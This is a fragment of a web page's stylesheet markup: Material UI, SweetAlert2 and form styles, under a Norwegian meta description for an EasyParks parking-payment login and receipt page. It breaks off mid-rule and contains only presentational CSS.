.jss18 { margin-top: 3px; } </style> <style data-jss="" data-meta="makeStyles"> .jss19 { width: 100%; display: flex; align-items: center; flex-direction: row; } .jss20 { color: #595959; margin-right: 10px; } .jss21 { color: #262626; margin-top: 3px; } .jss22 { color: #595959; } </style> <style data-jss="" data-meta="makeStyles"> .jss6 { margin: 0 auto; padding: 0 1rem; max-width: 1000px; } .jss7 { height: 48px; display: flex; align-items: center; justify-content: space-between; } .jss8 { display: flex; } .jss9 { max-width: 80px; object-fit: contain; } @media only screen and (min-width: 400px) { .jss9 { max-width: 150px; } } .jss10 { height: 24px; display: flex; position: relative; min-width: 0; min-height: 0; align-items: center; justify-content: flex-end; } .jss10 > * { padding-left: 28px; } @media (max-width:959.95px) { .jss10 > * { padding-left: 10px; } } </style> <style data-jss="" data-meta="makeStyles"> .jss87 { width: 100%; background-color: #353535; } .jss88 { width: 100%; margin: 0 auto; display: flex; padding: 21px 1rem; max-width: 1000px; align-items: center; justify-content: space-between; } @media (max-width:959.95px) { .jss88 { display: block; } } .jss89 { color: #fff; font-weight: 700; } @media (max-width:959.95px) { .jss89 { margin-bottom: 12px; } } .jss90 { margin: 0; display: flex; padding: 0; max-width: calc(100% - 140px); list-style: none; align-items: center; } @media (max-width:959.95px) { .jss90 { width: 100%; flex-wrap: wrap; max-width: 100%; justify-content: center; } } .jss91 { margin-right: 36px; } @media (max-width:959.95px) { .jss91 { width: 50%; margin: 6px 0; padding: 0; margin-right: 0; } } .jss91 a { color: #fff; padding: 2px; text-decoration: none; } .jss91:last-of-type { margin-right: 0; } </style> <style data-jss="" data-meta="makeStyles"> .jss1 { display: flex; min-height: 100vh; text-align: center; align-items: stretch; flex-direction: column; } .jss2 { flex-shrink: 0; } .jss3 { display: flex; position: relative; flex-grow: 1; flex-shrink: 0; } .jss4 { flex-shrink: 0; } .jss5 { width: 100%; margin: 0 auto; max-width: 850px; } </style> <style data-emotion="css" data-s=""></style> <meta name="description" content="EasyParks app er den enkleste måten å betale for parkering! Logg inn på kontoen din for å laste ned elektronisk kvittering og oppdatere kontoinformasjon." data-react-helmet="true"> <meta name="keywords" content="kvittering" data-react-helmet="true"> <style> .swal2-popup.swal2-toast { box-sizing: border-box; grid-column: 1/4 !important; grid-row: 1/4 !important; grid-template-columns: min-content auto min-content; padding: 1em; overflow-y: hidden; background: #fff; box-shadow: 0 0 1px rgba(0, 0, 0, .075), 0 1px 2px rgba(0, 0, 0, .075), 1px 2px 4px rgba(0, 0, 0, .075), 1px 3px 8px rgba(0, 0, 0, .075), 2px 4px 16px rgba(0, 0, 0, .075); pointer-events: all } .swal2-popup.swal2-toast>* { grid-column: 2 } .swal2-popup.swal2-toast .swal2-title { margin: .5em 1em; padding: 0; font-size: 1em; text-align: initial } .swal2-popup.swal2-toast .swal2-loading { justify-content: center } .swal2-popup.swal2-toast .swal2-input { height: 2em; margin: .5em; font-size: 1em } .swal2-popup.swal2-toast .swal2-validation-message { font-size: 1em } .swal2-popup.swal2-toast .swal2-footer { margin: .5em 0 0; padding: .5em 0 0; font-size: .8em } .swal2-popup.swal2-toast .swal2-close { grid-column: 3/3; grid-row: 1/99; align-self: center; width: .8em; height: .8em; margin: 0; font-size: 2em } .swal2-popup.swal2-toast .swal2-html-container { margin: .5em 1em; padding: 0; overflow: initial; font-size: 1em; text-align: initial } .swal2-popup.swal2-toast .swal2-html-container:empty { padding: 0 } .swal2-popup.swal2-toast .swal2-loader { grid-column: 1; grid-row: 1/99; align-self: center; width: 2em; height: 2em; margin: .25em } .swal2-popup.swal2-toast .swal2-icon { grid-column: 1; grid-row: 1/99; align-self: center; width: 2em; min-width: 2em; height: 2em; margin: 0 .5em 0 0 } .swal2-popup.swal2-toast .swal2-icon .swal2-icon-content { display: flex; align-items: center; font-size: 1.8em; font-weight: bold } .swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring { width: 2em; height: 2em } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line] { top: .875em; width: 1.375em } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] { left: .3125em } .swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] { right: .3125em } .swal2-popup.swal2-toast .swal2-actions { justify-content: flex-start; height: auto; margin: 0; margin-top: .5em; padding: 0 .5em } .swal2-popup.swal2-toast .swal2-styled { margin: .25em .5em; padding: .4em .6em; font-size: 1em } .swal2-popup.swal2-toast .swal2-success { border-color: #a5dc86 } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line] { position: absolute; width: 1.6em; height: 3em; transform: rotate(45deg); border-radius: 50% } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left] { top: -0.8em; left: -0.5em; transform: rotate(-45deg); transform-origin: 2em 2em; border-radius: 4em 0 0 4em } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right] { top: -0.25em; left: .9375em; transform-origin: 0 1.5em; border-radius: 0 4em 4em 0 } .swal2-popup.swal2-toast .swal2-success .swal2-success-ring { width: 2em; height: 2em } .swal2-popup.swal2-toast .swal2-success .swal2-success-fix { top: 0; left: .4375em; width: .4375em; height: 2.6875em } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line] { height: .3125em } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip] { top: 1.125em; left: .1875em; width: .75em } .swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long] { top: .9375em; right: .1875em; width: 1.375em } .swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip { animation: swal2-toast-animate-success-line-tip .75s } .swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long { animation: swal2-toast-animate-success-line-long .75s } .swal2-popup.swal2-toast.swal2-show { animation: swal2-toast-show .5s } .swal2-popup.swal2-toast.swal2-hide { animation: swal2-toast-hide .1s forwards } div:where(.swal2-container) { display: grid; position: fixed; z-index: 1060; inset: 0; box-sizing: border-box; grid-template-areas: "top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end"; grid-template-rows: minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto); height: 100%; padding: .625em; overflow-x: hidden; transition: background-color .1s; -webkit-overflow-scrolling: touch } div:where(.swal2-container).swal2-backdrop-show, div:where(.swal2-container).swal2-noanimation { background: rgba(0, 0, 0, .4) } div:where(.swal2-container).swal2-backdrop-hide { background: rgba(0, 0, 0, 0) !important } div:where(.swal2-container).swal2-top-start, div:where(.swal2-container).swal2-center-start, div:where(.swal2-container).swal2-bottom-start { grid-template-columns: minmax(0, 1fr) auto auto } div:where(.swal2-container).swal2-top, div:where(.swal2-container).swal2-center, div:where(.swal2-container).swal2-bottom { grid-template-columns: auto minmax(0, 1fr) auto } div:where(.swal2-container).swal2-top-end, div:where(.swal2-container).swal2-center-end, div:where(.swal2-container).swal2-bottom-end { grid-template-columns: auto auto minmax(0, 1fr) } div:where(.swal2-container).swal2-top-start>.swal2-popup { align-self: start } div:where(.swal2-container).swal2-top>.swal2-popup { grid-column: 2; place-self: start center } div:where(.swal2-container).swal2-top-end>.swal2-popup, div:where(.swal2-container).swal2-top-right>.swal2-popup { grid-column: 3; place-self: start end } div:where(.swal2-container).swal2-center-start>.swal2-popup, div:where(.swal2-container).swal2-center-left>.swal2-popup { grid-row: 2; align-self: center } div:where(.swal2-container).swal2-center>.swal2-popup { grid-column: 2; grid-row: 2; place-self: center center } div:where(.swal2-container).swal2-center-end>.swal2-popup, div:where(.swal2-container).swal2-center-right>.swal2-popup { grid-column: 3; grid-row: 2; place-self: center end } div:where(.swal2-container).swal2-bottom-start>.swal2-popup, div:where(.swal2-container).swal2-bottom-left>.swal2-popup { grid-column: 1; grid-row: 3; align-self: end } div:where(.swal2-container).swal2-bottom>.swal2-popup { grid-column: 2; grid-row: 3; place-self: end center } div:where(.swal2-container).swal2-bottom-end>.swal2-popup, div:where(.swal2-container).swal2-bottom-right>.swal2-popup { grid-column: 3; grid-row: 3; place-self: end end } div:where(.swal2-container).swal2-grow-row>.swal2-popup, div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup { grid-column: 1/4; width: 100% } div:where(.swal2-container).swal2-grow-column>.swal2-popup, div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup { grid-row: 1/4; align-self: stretch } div:where(.swal2-container).swal2-no-transition { transition: none !important } div:where(.swal2-container) div:where(.swal2-popup) { display: none; position: relative; box-sizing: border-box; grid-template-columns: minmax(0, 100%); width: 32em; max-width: 100%; padding: 0 0 1.25em; border: none; border-radius: 5px; background: #fff; color: #545454; font-family: inherit; font-size: 1rem } div:where(.swal2-container) div:where(.swal2-popup):focus { outline: none } div:where(.swal2-container) div:where(.swal2-popup).swal2-loading { overflow-y: hidden } div:where(.swal2-container) h2:where(.swal2-title) { position: relative; max-width: 100%; margin: 0; padding: .8em 1em 0; color: inherit; font-size: 1.875em; font-weight: 600; text-align: center; text-transform: none; word-wrap: break-word } div:where(.swal2-container) div:where(.swal2-actions) { display: flex; z-index: 1; box-sizing: border-box; flex-wrap: wrap; align-items: center; justify-content: center; width: auto; margin: 1.25em auto 0; padding: 0 } div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled] { opacity: .4 } div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover { background-image: linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1)) } div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active { background-image: linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2)) } div:where(.swal2-container) div:where(.swal2-loader) { display: none; align-items: center; justify-content: center; width: 2.2em; height: 2.2em; margin: 0 1.875em; animation: swal2-rotate-loading 1.5s linear 0s infinite normal; border-width: .25em; border-style: solid; border-radius: 100%; border-color: #2778c4 rgba(0, 0, 0, 0) #2778c4 rgba(0, 0, 0, 0) } div:where(.swal2-container) button:where(.swal2-styled) { margin: .3125em; padding: .625em 1.1em; transition: box-shadow .1s; box-shadow: 0 0 0 3px rgba(0, 0, 0, 0); font-weight: 500 } div:where(.swal2-container) button:where(.swal2-styled):not([disabled]) { cursor: pointer } div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm { border: 0; border-radius: .25em; background: initial; background-color: #7066e0; color: #fff; font-size: 1em } div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus { box-shadow: 0 0 0 3px rgba(112, 102, 224, .5) } div:where(.swal2-container) button:where(.swal2-styled).swal2-deny { border: 0; border-radius: .25em; background: initial; background-color: #dc3741; color: #fff; font-size: 1em } div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus { box-shadow: 0 0 0 3px rgba(220, 55, 65, .5) } div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel { border: 0; border-radius: .25em; background: initial; background-color: #6e7881; color: #fff; font-size: 1em } div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus { box-shadow: 0 0 0 3px rgba(110, 120, 129, .5) } div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus { box-shadow: 0 0 0 3px rgba(100, 150, 200, .5) } div:where(.swal2-container) button:where(.swal2-styled):focus { outline: none } div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner { border: 0 } div:where(.swal2-container) div:where(.swal2-footer) { margin: 1em 0 0; padding: 1em 1em 0; border-top: 1px solid #eee; color: inherit; font-size: 1em; text-align: center } div:where(.swal2-container) .swal2-timer-progress-bar-container { position: absolute; right: 0; bottom: 0; left: 0; grid-column: auto !important; overflow: hidden; border-bottom-right-radius: 5px; border-bottom-left-radius: 5px } div:where(.swal2-container) div:where(.swal2-timer-progress-bar) { width: 100%; height: .25em; background: rgba(0, 0, 0, .2) } div:where(.swal2-container) img:where(.swal2-image) { max-width: 100%; margin: 2em auto 1em } div:where(.swal2-container) button:where(.swal2-close) { z-index: 2; align-items: center; justify-content: center; width: 1.2em; height: 1.2em; margin-top: 0; margin-right: 0; margin-bottom: -1.2em; padding: 0; overflow: hidden; transition: color .1s, box-shadow .1s; border: none; border-radius: 5px; background: rgba(0, 0, 0, 0); color: #ccc; font-family: monospace; font-size: 2.5em; cursor: pointer; justify-self: end } div:where(.swal2-container) button:where(.swal2-close):hover { transform: none; background: rgba(0, 0, 0, 0); color: #f27474 } div:where(.swal2-container) button:where(.swal2-close):focus { outline: none; box-shadow: inset 0 0 0 3px rgba(100, 150, 200, .5) } div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner { border: 0 } div:where(.swal2-container) .swal2-html-container { z-index: 1; justify-content: center; margin: 1em 1.6em .3em; padding: 0; overflow: auto; color: inherit; font-size: 1.125em; font-weight: normal; line-height: normal; text-align: center; word-wrap: break-word; word-break: break-word } div:where(.swal2-container) input:where(.swal2-input), div:where(.swal2-container) input:where(.swal2-file), div:where(.swal2-container) textarea:where(.swal2-textarea), div:where(.swal2-container) select:where(.swal2-select), div:where(.swal2-container) div:where(.swal2-radio), div:where(.swal2-container) label:where(.swal2-checkbox) { margin: 1em 2em 3px } div:where(.swal2-container) input:where(.swal2-input), div:where(.swal2-container) input:where(.swal2-file), div:where(.swal2-container) textarea:where(.swal2-textarea) { box-sizing: border-box; width: auto; transition: border-color .1s, box-shadow .1s; border: 1px solid #d9d9d9; border-radius: .1875em; background: rgba(0, 0, 0, 0); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .06), 0 0 0 3px rgba(0, 0, 0, 0); color: inherit; font-size: 1.125em } div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror, div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror, div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror { border-color: #f27474 !important; box-shadow: 0 0 2px #f27474 !important } div:where(.swal2-container) input:where(.swal2-input):focus, div:where(.swal2-container) input:where(.swal2-file):focus, div:where(.swal2-container) textarea:where(.swal2-textarea):focus { border: 1px solid #b4dbed; outline: none; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .06), 0 0 0 3px rgba(100, 150, 200, .5) } div:where(.swal2-container) input:where(.swal2-input)::placeholder, div:where(.swal2-container) input:where(.swal2-file)::placeholder, div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder { color: #ccc } div:where(.swal2-container) .swal2-range { margin: 1em 2em 3px; background: #fff } div:where(.swal2-container) .swal2-range input { width: 80% } div:where(.swal2-container) .swal2-range output { width: 20%; color: inherit; font-weight: 600; text-align: center } div:where(.swal2-container) .swal2-range input, div:where(.swal2-container) .swal2-range output { height: 2.625em; padding: 0; font-size: 1.125em; line-height: 2.625em } div:where(.swal2-container) .swal2-input { height: 2.625em; padding: 0 .75em } div:where(.swal2-container) .swal2-file { width: 75%; margin-right: auto; margin-left: auto; background: rgba(0, 0, 0, 0); font-size: 1.125em } div:where(.swal2-container) .swal2-textarea { height: 6.75em; padding: .75em } div:where(.swal2-container) .swal2-select { min-width: 50%; max-width: 100%; padding: .375em .625em; background: rgba(0, 0, 0, 0); color: inherit; font-size: 1.125em } div:where(.swal2-container) .swal2-radio, div:where(.swal2-container) .swal2-checkbox { align-items: center; justify-content: center; background: #fff; color: inherit } div:where(.swal2-container) .swal2-radio label, div:where(.swal2-container) .swal2-checkbox label { margin: 0 .6em; font-size: 1.125em } div:where(.swal2-container) .swal2-radio input, div:where(.swal2-container) .swal2-checkbox input { flex-shrink: 0; margin: 0 .4em } div:where(.swal2-container) label:where(.swal2-input-label) { display: flex; justify-content: center; margin: 1em auto 0 } div:where(.swal2-container) div:where(.swal2-validation-message) { align-items: center; justify-content: center; margin: 1em 0 0; padding: .625em; overflow: hidden; background: #f0f0f0; color: #666; font-size: 1em; font-weight: 300 } div:where(.swal2-container) div:where(.swal2-validation-message)::before { content: "!"; display: inline-block; width: 1.5em; min-width: 1.5em; height: 1.5em; margin: 0 .625em; border-radius: 50%; background-color: #f27474; color: #fff; font-weight: 600; line-height: 1.5em; text-align: center } div:where(.swal2-container) .swal2-progress-steps { flex-wrap: wrap; align-items: center; max-width: 100%; margin: 1.25em auto; padding: 0; background: rgba(0, 0, 0, 0); font-weight: 600 } div:where(.swal2-container) .swal2-progress-steps li { display: inline-block; position: relative } div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step { z-index: 20; flex-shrink: 0; width: 2em; height: 2em; border-radius: 2em; background: #2778c4; color: #fff; line-height: 2em; text-align: center } div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step { background: #2778c4 } div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step { background: #add8e6; color: #fff } div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line { background: #add8e6 } div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line { z-index: 10; flex-shrink: 0; width: 2.5em; height: .4em; margin: 0 -1px; background: #2778c4 } div:where(.swal2-icon) { position: relative; box-sizing: content-box; justify-content: center; width: 5em; height: 5em; margin: 2.5em auto .6em; border: 0.25em solid rgba(0, 0, 0, 0); border-radius: 50%; border-color: #000; font-family: inherit; line-height: 5em; cursor: default; user-select: none } div:where(.swal2-icon) .swal2-icon-content { display: flex; align-items: center; font-size: 3.75em } div:where(.swal2-icon).swal2-error { border-color: #f27474; color: #f27474 } div:where(.swal2-icon).swal2-error .swal2-x-mark { position: relative; flex-grow: 1 } div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line] { display: block; position: absolute; top: 2.3125em; width: 2.9375em; height: .3125em; border-radius: .125em; background-color: #f27474 } div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left] { left: 1.0625em; transform: rotate(45deg) } div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right] { right: 1em; transform: rotate(-45deg) } div:where(.swal2-icon).swal2-error.swal2-icon-show { animation: swal2-animate-error-icon .5s } div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark { animation: swal2-animate-error-x-mark .5s } div:where(.swal2-icon).swal2-warning { border-color: #facea8; color: #f8bb86 } div:where(.swal2-icon).swal2-warning.swal2-icon-show { animation: swal2-animate-error-icon .5s } div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content { animation: swal2-animate-i-mark .5s } div:where(.swal2-icon).swal2-info { border-color: #9de0f6; color: #3fc3ee } div:where(.swal2-icon).swal2-info.swal2-icon-show { animation: swal2-animate-error-icon .5s } div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content { animation: swal2-animate-i-mark .8s } div:where(.swal2-icon).swal2-question { border-color: #c9dae1; color: #87adbd } div:where(.swal2-icon).swal2-question.swal2-icon-show { animation: swal2-animate-error-icon .5s } div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content { animation: swal2-animate-question-mark .8s } div:where(.swal2-icon).swal2-success { border-color: #a5dc86; color: #a5dc86 } div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line] { position: absolute; width: 3.75em; height: 7.5em; transform: rotate(45deg); border-radius: 50% } div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left] { top: -0.4375em; left: -2.0635em; transform: rotate(-45deg); transform-origin: 3.75em 3.75em; border-radius: 7.5em 0 0 7.5em } div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right] { top: -0.6875em; left: 1.875em; transform: rotate(-45deg); transform-origin: 0 3.75em; border-radius: 0 7.5em 7.5em 0 } div:where(.swal2-icon).swal2-success .swal2-success-ring { position: absolute; z-index: 2; top: -0.25em; left: -0.25em; box-sizing: content-box; width: 100%; height: 100%; border: .25em solid rgba(165, 220, 134, .3); border-radius: 50% } div:where(.swal2-icon).swal2-success .swal2-success-fix { position: absolute; z-index: 1; top: .5em; left: 1.625em; width: .4375em; height: 5.625em; transform: rotate(-45deg) } div:where(.swal2-icon).swal2-success [class^=swal2-success-line] { display: block; position: absolute; z-index: 2; height: .3125em; border-radius: .125em; background-color: #a5dc86 } div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip] { top: 2.875em; left: .8125em; width: 1.5625em; transform: rotate(45deg) } div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long] { top: 2.375em; right: .5em; width: 2.9375em; transform: rotate(-45deg) } div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip { animation: swal2-animate-success-line-tip .75s } div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long { animation: swal2-animate-success-line-long .75s } div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right { animation: swal2-rotate-success-circular-line 4.25s ease-in } [class^=swal2] { -webkit-tap-highlight-color: rgba(0, 0, 0, 0) } .swal2-show { animation: swal2-show .3s } .swal2-hide { animation: swal2-hide .15s forwards } .swal2-noanimation { transition: none } .swal2-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll } .swal2-rtl .swal2-close { margin-right: initial; margin-left: 0 } .swal2-rtl .swal2-timer-progress-bar { right: 0; left: auto } @keyframes swal2-toast-show { 0% { transform: translateY(-0.625em) rotateZ(2deg) } 33% { transform: translateY(0) rotateZ(-2deg) } 66% { transform: translateY(0.3125em) rotateZ(2deg) } 100% { transform: translateY(0) rotateZ(0deg) } } @keyframes swal2-toast-hide { 100% { transform: rotateZ(1deg); opacity: 0 } } @keyframes swal2-toast-animate-success-line-tip { 0% { top: .5625em; left: .0625em; width: 0 } 54% { top: .125em; left: .125em; width: 0 } 70% { top: .625em; left: -0.25em; width: 1.625em } 84% { top: 1.0625em; left: .75em; width: .5em } 100% { top: 1.125em; left: .1875em; width: .75em } } @keyframes swal2-toast-animate-success-line-long { 0% { top: 1.625em; right: 1.375em; width: 0 } 65% { top: 1.25em; right: .9375em; width: 0 } 84% { top: .9375em; right: 0; width: 1.125em } 100% { top: .9375em; right: .1875em; width: 1.375em } } @keyframes swal2-show { 0% { transform: scale(0.7) } 45% { transform: scale(1.05) } 80% { transform: scale(0.95) } 100% { transform: scale(1) } } @keyframes swal2-hide { 0% { transform: scale(1); opacity: 1 } 100% { transform: scale(0.5); opacity: 0 } } @keyframes swal2-animate-success-line-tip { 0% { top: 1.1875em; left: .0625em; width: 0 } 54% { top: 1.0625em; left: .125em; width: 0 } 70% { top: 2.1875em; left: -0.375em; width: 3.125em } 84% { top: 3em; left: 1.3125em; width: 1.0625em } 100% { top: 2.8125em; left: .8125em; width: 1.5625em } } @keyframes swal2-animate-success-line-long { 0% { top: 3.375em; right: 2.875em; width: 0 } 65% { top: 3.375em; right: 2.875em; width: 0 } 84% { top: 2.1875em; right: 0; width: 3.4375em } 100% { top: 2.375em; right: .5em; width: 2.9375em } } @keyframes swal2-rotate-success-circular-line { 0% { transform: rotate(-45deg) } 5% { transform: rotate(-45deg) } 12% { transform: rotate(-405deg) } 100% { transform: rotate(-405deg) } } @keyframes swal2-animate-error-x-mark { 0% { margin-top: 1.625em; transform: scale(0.4); opacity: 0 } 50% { margin-top: 1.625em; transform: scale(0.4); opacity: 0 } 80% { margin-top: -0.375em; transform: scale(1.15) } 100% { margin-top: 0; transform: scale(1); opacity: 1 } } @keyframes swal2-animate-error-icon { 0% { transform: rotateX(100deg); opacity: 0 } 100% { transform: rotateX(0deg); opacity: 1 } } @keyframes swal2-rotate-loading { 0% { transform: rotate(0deg) } 100% { transform: rotate(360deg) } } @keyframes swal2-animate-question-mark { 0% { transform: rotateY(-360deg) } 100% { transform: rotateY(0) } } @keyframes swal2-animate-i-mark { 0% { transform: rotateZ(45deg); opacity: 0 } 25% { transform: rotateZ(-25deg); opacity: .4 } 50% { transform: rotateZ(15deg); opacity: .8 } 75% { transform: rotateZ(-5deg); opacity: 1 } 100% { transform: rotateX(0); opacity: 1 } } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) { overflow: hidden } body.swal2-height-auto { height: auto !important } body.swal2-no-backdrop .swal2-container { background-color: rgba(0, 0, 0, 0) !important; pointer-events: none } body.swal2-no-backdrop .swal2-container .swal2-popup { pointer-events: all } body.swal2-no-backdrop .swal2-container .swal2-modal { box-shadow: 0 0 10px rgba(0, 0, 0, .4) } @media print { body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) { overflow-y: scroll !important } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true] { display: none } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container { position: static !important } } body.swal2-toast-shown .swal2-container { box-sizing: border-box; width: 360px; max-width: 100%; background-color: rgba(0, 0, 0, 0); pointer-events: none } body.swal2-toast-shown .swal2-container.swal2-top { inset: 0 auto auto 50%; transform: translateX(-50%) } body.swal2-toast-shown .swal2-container.swal2-top-end, body.swal2-toast-shown .swal2-container.swal2-top-right { inset: 0 0 auto auto } body.swal2-toast-shown .swal2-container.swal2-top-start, body.swal2-toast-shown .swal2-container.swal2-top-left { inset: 0 auto auto 0 } body.swal2-toast-shown .swal2-container.swal2-center-start, body.swal2-toast-shown .swal2-container.swal2-center-left { inset: 50% auto auto 0; transform: translateY(-50%) } body.swal2-toast-shown .swal2-container.swal2-center { inset: 50% auto auto 50%; transform: translate(-50%, -50%) } body.swal2-toast-shown .swal2-container.swal2-center-end, body.swal2-toast-shown .swal2-container.swal2-center-right { inset: 50% 0 auto auto; transform: translateY(-50%) } body.swal2-toast-shown .swal2-container.swal2-bottom-start, body.swal2-toast-shown .swal2-container.swal2-bottom-left { inset: auto auto 0 0 } body.swal2-toast-shown .swal2-container.swal2-bottom { inset: auto auto 0 50%; transform: translateX(-50%) } body.swal2-toast-shown .swal2-container.swal2-bottom-end, body.swal2-toast-shown .swal2-container.swal2-bottom-right { inset: auto 0 0 auto } .jss63 { padding-top: 0px; padding-bottom: 16px; } .css-162edyi { font: inherit; letter-spacing: inherit; color: currentcolor; border: 0px; box-sizing: content-box; background: none; height: 1.4375em; margin: 0px; -webkit-tap-highlight-color: transparent; display: block; min-width: 0px; width: 100%; animation-name: mui-auto-fill-cancel; animation-duration: 10ms; padding: 8.5px 14px 8.5px 0px; } .css-14lo706 { float: unset; width: auto; overflow: hidden; display: block; padding: 0px; height: 11px; font-size: 0.75em; visibility: hidden; max-width: 100%; transition: max-width 100ms cubic-bezier(0, 0, 0.2, 1) 50ms; white-space: nowrap; } .css-igs3ac { text-align: left; position: absolute; inset: -5px 0px 0px; margin: 0px; padding: 0px 8px; pointer-events: none; border-radius: inherit; border-style: solid; border-width: 1px; overflow: hidden; min-width: 0%; border-color: rgba(0, 0, 0, 0.23); } .css-2xhzvc { font-family: Roboto, Helvetica, Arial, sans-serif; font-weight: 400; font-size: 1rem; line-height: 1.4375em; letter-spacing: 0.00938em; color: rgba(0, 0, 0, 0.87); box-sizing: border-box; cursor: text; display: inline-flex; -webkit-box-align: center; align-items: center; width: 100%; position: relative; border-radius: 4px; padding-left: 14px; } .MuiPhoneNumber-positionStart { position: relative; } .css-1a6giau { display: flex; height: 0.01em; max-height: 2em; -webkit-box-align: center; align-items: center; white-space: nowrap; color: rgba(0, 0, 0, 0.54); margin-right: 8px; } .css-w0pj6f { overflow: hidden; pointer-events: none; position: absolute; z-index: 0; inset: 0px; border-radius: inherit; } .css-1ald77x { color: rgba(0, 0, 0, 0.6); font-family: Roboto, Helvetica, Arial, sans-serif; font-weight: 400; font-size: 1rem; line-height: 1.4375em; letter-spacing: 0.00938em; padding: 0px; display: block; transform-origin: left top; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: calc(133% - 32px); position: absolute; left: 0px; top: 0px; transform: translate(14px, -9px) scale(0.75); transition: color 200ms cubic-bezier(0, 0, 0.2, 1) 0ms, transform 200ms cubic-bezier(0, 0, 0.2, 1) 0ms, max-width 200ms cubic-bezier(0, 0, 0.2, 1) 0ms; z-index: 1; pointer-events: auto; user-select: none; } .link10 { color: rgb(25, 118, 210); } .css-14lo706 > span { padding-left: 5px; padding-right: 5px; display: inline-block; opacity: 0; visibility: visible; } .css-feqhe6 { display: inline-flex; flex-direction: column; position: relative; min-width: 0px; padding: 0px; margin: 0px; border: 0px; vertical-align: top; width: 100%; } .css-hjvdj6.Mui-error { color: rgb(211, 47, 47); } .MuiFormHelperText-root.Mui-error { color: #E7242E; } .css-hjvdj6 { color: rgba(0, 0, 0, 0.6); font-family: Roboto, Helvetica, Arial, sans-serif; font-weight: 400; font-size: 0.75rem; line-height: 1.66; letter-spacing: 0.03333em; text-align: left; margin: 4px 14px 0px; } .MuiFormHelperText-contained { margin-left: 14px; margin-right: 14px; } .MuiFormHelperText-root { color: #595959; margin: 0; font-size: 0.75rem; margin-top: 3px; text-align: left; font-family: Poppins, sans-serif; font-weight: 400; line-height: 1.66; } </style> <style> .custom-container { cursor: pointer; border: 2px solid #ccc; border-radius: 10px; padding: 20px; margin-bottom: 20px; } .selected { border-color: #8cc63f !important; background-color: #ffffff; } </style> <style> /* Estilos generales del formulario */ form { max-width: 600px; /* Tamaño máximo del formulario */ margin: 0 auto; /* Centrar el formulario en la pantalla */ padding: 20px; } /* Estilos específicos para pantallas más pequeñas (móviles) */ @media only screen and (max-width: 600px) { form { max-width: 100%; /* Hacer que el formulario ocupe todo el ancho en pantallas pequeñas */ } /* Puedes agregar más estilos específicos para pantallas pequeñas aquí */ } </style> <style> form { display: block; margin: 0 auto; } .messageOverlay { display: block; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(131, 131, 134, 0.7); z-index: 9999; } .messageOverlay > div { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; /*padding: 20px;*/ /*max-width: 